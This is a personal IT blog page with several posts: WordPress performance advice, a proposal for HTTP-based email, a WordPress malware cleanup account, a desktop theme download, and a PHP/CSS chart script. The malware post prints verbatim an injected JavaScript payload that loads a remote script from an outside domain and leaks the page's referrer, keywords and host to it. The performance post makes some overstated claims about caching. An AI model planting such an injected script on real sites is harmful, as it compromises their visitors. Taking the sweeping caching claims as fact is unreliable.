MiniDevicesTop ИТ блоги 2024-11-21 2024-11-21 Отображаются все разделы
123456

root
0

PHP
Linux Ubuntu
Tweaks
Фриланс
Freelance.com


2 комментариев
Worpdress optimization

Wordpress is CMS - system for website's content management. It's easy and powerful, and compatible with most of servers, but as a payment, it's also heavyweight and not optimized.


The first reason, why Wordpress website is working slow - is Wordpress. His engine designed for executing step by step, few tens of PHP scripts. You're running index file (index.php), it calls wp-blog-header.php,it calls wp-load.php and template-loader.php, they are calls wp-config.php, functions.php, load.php, version.php, template-loader.php is requesting embed-template.php and wp-trackback.php and so on. And I described only 10% of all running files, without template, without plugins and so on.

Of course, each execution requires a CPU time, a network resource, a PHP attention.

The second reason, why Wordpress is working slow - method of execution. The main issue - PHP/Wordpress will pause content output, until it will not fully downloaded. In a case of HTML files, they will loaded and displayed immediately. If there are something heavyweight, HTML will load it, and also will display previously loaded data. PHP and Wordpress will output only when all amount of info will be loaded.

The third and main reason - not optimized hosting (for Wordpress) . As I told earlier - Wordpress is using multiple PHP requests, and server must working perfectly to process them all, without freezing or slowness.

The best web-server structure to process this - nginx+php-fpm+mariadb. Those fearsome words just names three minimal requirements for each modern website: directly web-server - application which accept requests from outside and outputs answer; script which executing website content (PHP), and database used by website content. Your browser asking nginx to process index.php, nginx runs php-fpm to process this index.php, index.php might use MySQL to process requests, returns response to php-fpm, php-fpm returns response to nginx, nginx returns response to browser. Something like that.

Why nginx? Because it light, fast, easy in use, configurable and modern. In difference of Apache, which is heavyweight, but supports more features as plugins (the same structure which slowdown Wordpress, yep).

Why php-fpm ? Because it's daemon (application which always running in memory), and this allows our web-server to save time instead of run php from disk for each request.

Why MariaDb ? Because this is transparent fork of MySQL (with 100% compatibility) and works a little bit faster. For a 15%-20%, but if this is transparent upgrade for MySQL (doesn't require source-code changes) - why not ?

Please, always keep in minds: the root of Wordpress'es slowness is - incorrect server configuration. Not plugins, not amount of images, and not a content size. Just server configuration. 
So, the first solution to increase speed of Wordpress site - creating of proper server configuration. You must use nginx as light web-server, which very smoothly processes requests to small static files, like images and css. And it can keep them in memory, decreasing requests to your drive and increasing speed of output. Absolutely, you must use php-fpm. Do not listen anyone who recommends to do some proxy using apache. In this case, you will have a slow 3-head monster: nginx, will run apache, apache will run php. Nginx is able to work directly with php.
If you hosted under shared hosting (around with other websites, yes) - migrate to your own server (VPS). In the current century, average price of VPS enough for your website - 4-7 USD per month. Do not try to install optimization plugin over another optimization plugin - your website will not be faster, because the root of issue is in server config, but plugin has no access there.
Do not listen suggestions about "hey man, use CDN". CDN (Content Delivery Network) improving delivery (!!!) speed for generated content. And only for visitors, physically far from server. But slowness is at content generation, not delivery. Let's imagine, content generation is taking 5 seconds. And content size ig 500 Kb. Server is located at USA. Visitor opening your website from London. In this case, after visitor will press enter, your server will process his request, generate content (5 seconds), output it, and Internet will transfer those 500 Kb to visitor in 200 ms (of course if visitor's network speed is the same as server's), so the time between pressing "Enter" by visitor, and finish page loading will be 5.2 seconds. In a case of using CDN, this content will be transferred in 50 ms, but it will be generated in the same 5 seconds. So, the total time for website loading will be 5.05 seconds. Well, 195ms - is large difference, right? 
Of course this suggestion is related to one type of slowness - when web-browser freezes for few seconds, and then display content. If you have a lot of content (starting from 3-4 Mb), and you might have visitors from other countries - you can use CDN.
About memcached, varnish, redis, and other "super-boosters". Those applications are based on storing of frequently asked information in memory. But they are useless, if your website engine doesn't manage them. In other words, your website should be designed to work with those caches from scratch, and if you will just install them - you just spent some disk space and other server resources, including a little bit of speed. Wordpress was not designed to work with those types of cache, so you shouldn't use them.
Few words about "WP super mega giga cache" and other. The "cache" assumes only one - storing of request results in temporary memory to prevent frequent processing for the same results. For example, let's imagine, we're using the system "nginx-php-website". Our website is calculator. And we request to calculate some big formula. sin(5+5)*735 - doesn't matter. Website is calculating this formula in 2 seconds. So, slowness is there. Doesn't matter what plugins you're using, and how much of CDN are using. The slowness of website caused by engine. If we will use cache - we will use full website engine to calculate our "sin(5+5)*735" only once. Cache will store result in memory, and next time, when we will request the same formula - our cache will return result directly after request, without using "php-website" area. The plus of using cache is visible - speed. The minus of using cache - features of website which will prevent to use cache for everything. Let's imagine, our visitors are using a million of different formulas. In this case, our server can't store all results due to insufficient memory. Possible results are larger than you can imagine. Only one different symbol in next request - and it should be cached once again. The next minus is relevance of output data. Let's imagine, we have our own cached social network and looking for females 16-21 age there. Our website is getting external request from visitor (usually GET, something like &action=search&age1=16&age2=21), and returns cached result, and cache as you know, based on request. But what will happen, if new girl will registered there ? Your social network will have new user on a fact, but each visitor who will run the same request as I exampled - will have non-actual data, without newly registered girl. So, cache is not universal solution. But if you have static data, which will updated only by you (without visitors' comments and so on), using of cache will be the best solution.
Even in a cases if you want use a cache - there is no reason to install "WP super mega giga cache" and other. They will not increase speed as you expected. Will be better if you will use internal server cache. Fastcgi cache, or at least MySQL query cache.


                                                                                                    Vitaliy Blats

                                                                                                    professional server optimizer.


root
0

Информационная безопасность
Tweaks
Работа
Новые разработки
Почта


Без комментариев
О замене существующих электронных почтовых систем, или "http vs smtp smtps imap pop pop3 и их модификаций"

Очень часто мне приходится сталкиваться с проблемами клиентской почты. Кто-то почту не отсылает, кто-то не принимает, чья-то почта попадает в спам, кто-то не может подключиться к серверу, у кого-то спамят, кто-то не может получить список своих папок во входящих. В общем проблем более чем много.



Чем больше я работаю с почтой, тем виднее становится причина такого количества проблем: отсутствие унификации. Отсутствие от слова "совсем". Многие возразят словами "протокол SMTP нужен, и он унифицирован" на что я отвечу, что дело не в протоколе SMTP, ибо он обеспечивает только передачу данных, но не обеспечивает дополнительных сервисов. Это как азбука морзе или бинарный код: с их помощью можно передать что угодно, даже картинку и видео, вопрос только во времени, удобстве, и количестве надстроек.

Но дело ведь не в передаче данных. Данные нужно хранить, данные нужно передавать, данные нужно обрабатывать, и существование трех протоколов (с их количеством безопасных и не очень портов) только для обмена данными - это чересчур как по мне. Чтобы вам было понятно, приведу пример: настройте мне систему, которая позволит мне читать почту, которую мне будут слать клиенты. При чем я не хочу пользоваться Outlook'ом и прочими клиентами, равно как не хочу пользоваться всякими Squirelmail или Roundcube. Я хочу просто читать свою почту. И отсылать ее. На настройку такой системы вы убьете ЧАС как минимум, и это если будете пользоваться настройками из коробки, установленными через apt-get/yum. А если после того как вы мне это сделаете, я попрошу добавить туда еще одного пользователя, из другого домена - вы убьете на это еще один час. И вряд ли сделаете.

Поэтому почтовая система нуждается в тотальной переработке. Устаревшие pop,smtp,imap давно себя изжили! А мякотка в том, что и придумывать-то ничего не нужно, нужно всего лишь отдать почту вебу.

В самом деле, что может быть проще, имея веб-сервер со своей веб-директорией для домена, иметь в ней еще и секретную папку ".mail" где будет храниться почта, которую туда сможет записать каждый (при наличии определенных условий, конечно), которая будет храниться в виде текстовых файлов, или даже HTML, доступ к которой сможет получить любое ваше приложение, а при наличии системы авторизации - извне тоже ?

Обмен информацией будет вестись при помощи всего лишь одного протокола - HTTP, который прост в семантике, универсален, существует на любом устройстве, и может обрабатываться даже скриптом на баше. Да, почтовая система на баше, вы правильно поняли.

Итак, плюсы возможного перевода почты на HTTP:

1. Простота установки. Для работы почтовой системы понадобится всего лишь веб-сервер, который и так устанавливается.

2. Простота обмена информацией. Для отсылки письма нужно всего лишь передать серверу POST-запрос, в котором будет просьба записи письма, необходимые реквизиты, само письмо, имя аккаунта, и вообще все что мы только захотим. Неизвестные параметры просто отсекутся.

3. Отсутствие необходимости настраивать несколько разных систем - релеев, серверов хранений, серверов отсылки, авторизаций, проверок на отправку, проверок на прием, DKIM, SPF, отдельные MX, и многого другого. Клиент (а это может быть браузер, отдельный клиент, скрипт, или кто угодно) просто передает домену адресата команду "отправляю вам письмо".

4. Следствие из третьего пункта - меньший шанс чему-то поломаться, вследствие чего сократится трата времени на настройку и фиксы.

5. Относительно легкий доступ к почте с возможностью ее просто прочитать, или скачать, или передать далее. Нет ничего проще текстовых или html файлов в определенной папке, читать которые можно каким угодно приложением.

6. Высокая скорость поиска, и вообще работы. Не будет смысла выкачивать всю почту и хранить ее локально на компьютере чтобы быстрее искать, либо ждать минутами, пока клиент найдет нужное вам содержимое по ключевым словам, выкачивая почту. HTTP весьма быстр и удобен.

7. Клиентам не придется извращаться, отправляя разного рода вложения в почту. Все вложения могут идти дополнительными файлами, главное письмо может содержать только ссылку-инклуд на них. Или вообще на внешний источник. Зачем ждать, пока вложение прикрепится, отошлется, потом ждать пока оно скачается, если вашему адресату его можно передать прямо с вашего компьютера ?

8. Простая система хранения. Все хранится в одной папке - .mail, которая лежит в корневой папке домена. Это все. Все письма и настройки, хранятся в этой папке, не придется больше шариться по конфигам sendmail, exim4, postfix, dovecot, привязывать базы данных MySQL, ковыряться с настройками доступа.

9. Вытекающая из предыдущего пункта возможность легкой миграции почты с одного сервера на другой. Заархивировал директорию на одном сервере, разархивировал на другом. Это все. Кстати не лишним было бы предусмотреть миграцию в самой реализации сервера, по типу кнопки "Добавить мою старую почту". Это удобно.

10. Усовершенствованная возможность борьбы со спамом и использованием чужих серверов для спама. Поскольку все будет делаться в пределах сервера адресата, он сам будет бороться со спамом путем разных проверок. 

11. Поддержка плагинов. Нет ничего проще, чем разместить в папке .mail, ваш собственный скрипт, который будет обрабатывать почту так как вам нужно.

12. Удобная диагностика. В отличие от существующей системы, сервер может отвечать клиенту на лету о статусе почтового сообщения, было ли оно принято, было ли оно прочитано, по какой причине не принято, и так далее.


Проект стартовал


 Здесь я буду перечислять основные фичи. Черновик.


Авторизация при отправке письма

Есть очень легкий, универсальный способ авторизации, который плюс к тому же позволит эффективно бороться со спаммерами и флудерами - токен.

Давайте представим, что мы хотим отослать письмо с нашего адреса "admin@noname.com" на почту "vasya@microsoft.com". Процесс будет выглядеть так: a) Наш клиент авторизуется логином и паролем на сервере noname.com, при чем через обычный POST-запрос; б) Сервер noname.com генерирует токен, который сохраняет у себя в базе и отдает нашему клиенту; в) Наш клиент при помощи того же POST-запроса, шлет серверу microsoft.com письмо с текстом самого письма и токеном; г) Сервер microsoft.com отсылает серверу noname.com вопрос, создавал ли он такой токен, в случае положительного ответа, письмо сохраняется, в случае отрицательного - адресат помещается в спам-лист.

Реализация функционала авторизации на PHP (самом популярном языке) займет 10 строчек на каждом из серверов. Метод работы просто и понятен. Чем-то напоминает "подтверждение регистрации по почте". В обмене информацией используется один протокол HTTP, и три запроса, отправитель->сервер отправителя, отправитель->адресат, адресат->сервер отправителя. Все просто и понятно.




Статья будет периодически дополняться, так что добро пожаловать!


root
7

Информационная безопасность
JavaScript
PHP
Фриланс
Работа


Без комментариев
Wordpress malware, вирус, jquery.min.php и все что с этим связано

Как-то связался со мной очередной клиент, пожаловался мне что его забанил хостер за "malware".

Хостер как и полагается, оказался шаред, а самое прикольное что эти дебилы умудрились отключить пользователю SSH, мотивируя это "ограничением аккаунта". Это все равно что сказать "Уважаемый клиент, мы обнаружили у вас вирус, поэтому доступ к клавиатуре будет закрыт, пока вы не вылечитесь от вируса". Ну да ладно.

Анализируя контент клиента, я понял что он использует недоCMS под названием Wordpress. Тогда не удивительно и вполне себе предсказуемо.

Полазив еще немного по контенту, я нашел код этого malware:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0document.referrer!==undefineddocument.referrer!==''document.referrer!==null){document.write('<script type="text/javascript" src="http://jobinabardai.com/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://jobinabardai.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>


Ничего как бы страшного он не делает, расшифровать и понять это под силу даже школьнику, однако хостеры иного мнения, и банят за наличие такой штуки. Дальнейший поверхностный анализ показал, что заражается исключительно файл "header.php" всех тем, доступных в папке /wp-content/themes. Не обошлось без минутки юмора:


Два одинаковых малваря в одном и том же файле. Определенно писал школьник, почему-то считающий что в скрипте может быть только один закрывающий тег </head> 


К счастью рецепт излечения прост: редактируем файл и просто удаляем из него эту строчку. Чтобы воспрепятствовать дальнейшему заражению (а оно будет, если вы не смените пароли/хостера/страну) - всего лишь поставьте права r-xr-xr-x (555) на файл header.php

Кто не помнит как это делается, напоминаю: chmod 555 header.php, а еще лучше chmod 555 `find -name 'header.php'` от корня - это поставит необходимые права доступа ВСЕМ файлам, найденным у вас в папке. Разумеется, если у вас Linux-хостинг, и вы имеете доступ к SSH, хотя бы ограниченно-клиентского уровня.


Судя по количеству подкаталогов у моего клиента, количеству Wordpress-копий, и количеству зараженных файлов - заражение велось либо через что-то очень забагованное внутри Wordpress (и это не тема, они были разными), либо рекурсивно через консоль и при участии/бездействии хостера.

Мораль сего рассказа такова: дешевый VPS стоит 5 баксов, и я считаю что это приемлемая цена за отсутствие такого геморроя, тем более что плюсов намного больше.


Удачного лечения.



root
1

Linux Ubuntu
Linux ElementaryOS
Tweaks


Без комментариев
Elementary OS Yosemite theme

Существует много тем для Elementary OS и Cinnamon, косящих под Yosemite \ Lion.

Все они выглядят убого, поскольку где-то все равно содержат нестыковки по цветам, вследствие чего выглядят как "нечто одно, к чему прицепили нечто другое". Мне стало скучно, и я решил помочь сообществу, запилив нормальную тему, свободную от недостатков существующих. Хорошие теплые цвета, унифицированная расцветка для GTK2, GTK3, Metacity придают приложениям современный пристойный вид, независимо от того, что это за приложение: synaptic, firefox, панель управления, или всплывающее окно.


1) Скачиваем здесь: http://pretty.biz.ua/proxy/elementary-yo.zip

2) Распаковываем

3) С пользователя "root" копируем распакованную директорию в /usr/share/themes

4) Наслаждаемся после перезапуска



 






root
0

PHP
Tweaks
Фриланс


Без комментариев
Простой график на PHP и HTML

Делая один интересный проект для клиента с фриланса, натолкнулся на задачу создать диаграмму для медленных запросов MySQL, и решил поделиться, может кому-то пригодится.

Забегая вперед, покажу картинку что у нас должно получиться в итоге...


Приведу краткий скрипт, который рисует такое чудо:

<?php

 function rrange ($val, $v1, $v2)
  {
    if (($val >= $v1) and ($val < $v2))
      {
        return TRUE;
      }
    else
      {
        return FALSE;
      }
  }
 
 function drawdiv ($val)

  {
// Запускаем цикл от одного, до значения колонки. Затем в зависимости от текущего значения переменной цикла, будем подставлять цвета
    for ($i = 1; $i < $val; $i++)
      {
        if (rrange($i, 0, 2))
          {
            $col = "#00aa00";
          }
        if (rrange($i, 2, 4))
          {
            $col = "#00bb00";
          }
        if (rrange($i, 4, 6))
          {
            $col = "#00dd00";
          }
        if (rrange($i, 6, 8))
          {
            $col = "#88dd00";
          }
        if (rrange($i, 8, 10))
          {
            $col = "#bbdd00";
          }
        if (rrange($i, 10, 12))
          {
            $col = "#dddd00";
          }
        if (rrange($i, 12, 14))
          {
            $col = "#eedd00";
          }
        if (rrange($i, 14, 16))
          {
            $col = "#ffdd00";
          }
        if (rrange($i, 16, 20))
          {
            $col = "#ffcc00";
          }
        if (rrange($i, 20, 24))
          {
            $col = "#ffbb00";
          }
        if (rrange($i, 24, 28))
          {
            $col = "#ffaa00";
          }
        if (rrange($i, 28, 32))
          {
            $col = "#ff9900";
          }
        if (rrange($i, 32, 50))
          {
            $col = "#ff8800";
          }
        if (rrange($i, 50, 100))
          {
            $col = "#ff7700";
          }
        if (rrange($i, 100, 150))
          {
            $col = "#ff6600";
          }
        if (rrange($i, 150, 200))
          {
            $col = "#ff5500";
          }
        if (rrange($i, 200, 250))
          {
            $col = "#ff3300";
          }
        if (rrange($i, 250, 1300))
          {
            $col = "#ff0000";
          }
        $h = $i * 3;
        // Рисуем квадратик
        echo "<div style='box-shadow: 0 0 10px $col;position: absolute; width: 3px; height: 2px; background-color: $col; bottom: $h" . "px;'></div>";
      }
  }
// Рисуем обрамляющий div  
echo "<div style='width: 1000px; height: 602px; vertical-align: bottom; position: relative; overflow: auto; border-left: 1px solid #aaa;'>";
$x=0;
 for ($i = 1; $i <= 150; $i++)
      {
            $x = $x + 5;
           // Рисуем собственно вертикальную колонку шириной в 4 пикс, и с шагом каждые 5 пикс
           echo "<div style='background: none;left: $x" . "px; position: absolute; bottom:0; float: left; width: 4px; height: 600px;'>";
           // Заполняем ее красивыми разноцветными квадратиками, генерируя значения на лету. Чем выше значение - тем краснее квадратик
           drawdiv(rand(3,200));
           echo "</div>";
      
      }
echo "</div>";
?>

 

Как видите, ничего сложного нет, скрипт не использует ни одну экзотическую библиотеку, выводя все средствами HTML и CSS. И может быть оптимизирован, если вы обладаете знаниями PHP чуть выше меня 


Удачного вам программирования!


Посмотрите так же: О замене существующих электронных почтовых систем, или "http vs smtp smtps imap pop pop3 и их модификаций" _ и Wordpress malware, вирус, jquery.min.php и все что с этим связано _


Вы должны войти в систему, чтобы создавать блоги

1+1 / 1+1
В этой строке мы предупреждаем Вас, что можем использовать так называемые cookies
Нам искренне плевать на введенную Вами информацию о себе. Мы просто запоминаем у Вас на устройстве то, что Вы же и настроили.